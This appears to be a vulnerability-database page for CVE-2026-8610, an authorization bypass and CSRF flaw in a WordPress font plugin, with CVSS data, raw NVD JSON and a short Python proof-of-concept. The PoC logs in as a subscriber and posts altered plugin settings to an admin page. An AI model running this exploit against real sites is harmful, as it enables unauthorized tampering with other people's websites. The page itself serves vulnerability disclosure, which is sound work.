Security Vulnerability Report
中文
CVE-2026-8610 CVSS 4.3 MEDIUM

CVE-2026-8610

Published: 2026-05-20 02:16:41
Last Modified: 2026-05-20 02:16:41

Description

The TypeSquare Webfonts for ConoHa plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.0.4. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to modify the plugin's site-wide font settings, including the typesquare_auth option (fontThemeUseType), show_post_form, and typesquare_fonttheme, by submitting a POST request to any wp-admin page. For fontThemeUseType values 1 and 3, no nonce verification is performed either, meaning those branches are additionally exploitable via cross-site request forgery.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

TypeSquare Webfonts for ConoHa <= 2.0.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://example.com/wp-admin/index.php" # Any admin page works login_url = "http://example.com/wp-login.php" # Attacker credentials (Subscriber level) username = "attacker" password = "password" # Create a session to handle cookies session = requests.Session() # 1. Authenticate to get the necessary cookies (wp_logged_in_*, etc.) login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url } session.post(login_url, data=login_data) # 2. Prepare the payload to modify font settings # Exploiting the authorization bypass to change site-wide settings payload_data = { 'typesquare_fonttheme': 'malicious_font_theme', # Arbitrary modification 'show_post_form': '1', # Modify display settings 'fontThemeUseType': '1' # Triggering the non-verified path } # 3. Send the POST request # The plugin does not check capabilities or nonces for this specific action/value response = session.post(target_url, data=payload_data) if response.status_code == 200: print("[+] Exploit successful! Settings modified.") else: print("[-] Exploit failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-8610", "sourceIdentifier": "[email protected]", "published": "2026-05-20T02:16:40.547", "lastModified": "2026-05-20T02:16:40.547", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The TypeSquare Webfonts for ConoHa plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.0.4. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to modify the plugin's site-wide font settings, including the typesquare_auth option (fontThemeUseType), show_post_form, and typesquare_fonttheme, by submitting a POST request to any wp-admin page. For fontThemeUseType values 1 and 3, no nonce verification is performed either, meaning those branches are additionally exploitable via cross-site request forgery."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ts-webfonts-for-conoha/tags/2.0.4/inc/class/class.auth.php#L51", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ts-webfonts-for-conoha/tags/2.0.4/typesquare-admin.php#L25", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ts-webfonts-for-conoha/tags/2.0.4/typesquare-admin.php#L93", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/88002a25-6890-4f8b-8a11-239b59d56672?source=cve", "source": "[email protected]"}]}}